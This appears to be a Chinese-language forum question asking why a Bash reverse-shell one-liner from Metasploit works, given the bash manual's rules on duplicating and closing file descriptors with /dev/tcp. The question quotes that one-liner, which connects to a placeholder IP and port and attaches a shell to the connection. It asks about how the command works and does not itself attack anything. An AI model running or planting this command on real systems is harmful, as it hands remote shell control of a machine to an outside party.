我有时会看到如下所示的 Bash 反向 shell,其中伪文件/dev/tcp/IP/PORT
与重定向(文件描述符的重复)结合使用:
0<&202-;exec 202<>/dev/tcp/IP/PORT;sh <&202 >&202 2>&202
但是,为什么上面的命令有效(来自 Metasploit)?根据下面的文档(man bash
),那么0<&202-
应该失败,因为202-
没有打开有效的文件描述符以供输入?
额外问题:/dev/tcp/IP/PORT
始终可以用作输入文件描述符和输出文件描述符吗?
重定向运算符 [n]<&word 用于复制输入文件描述符。如果 word 扩展为一位或多位数字,则 n 表示的文件描述符将成为该文件描述符的副本。如果 word 中的数字未指定打开以供输入的文件描述符,则会发生重定向错误。如果 word 的计算结果为 -,则文件描述符 n 被关闭。如果未指定 n,则使用标准输入(文件描述符 0)。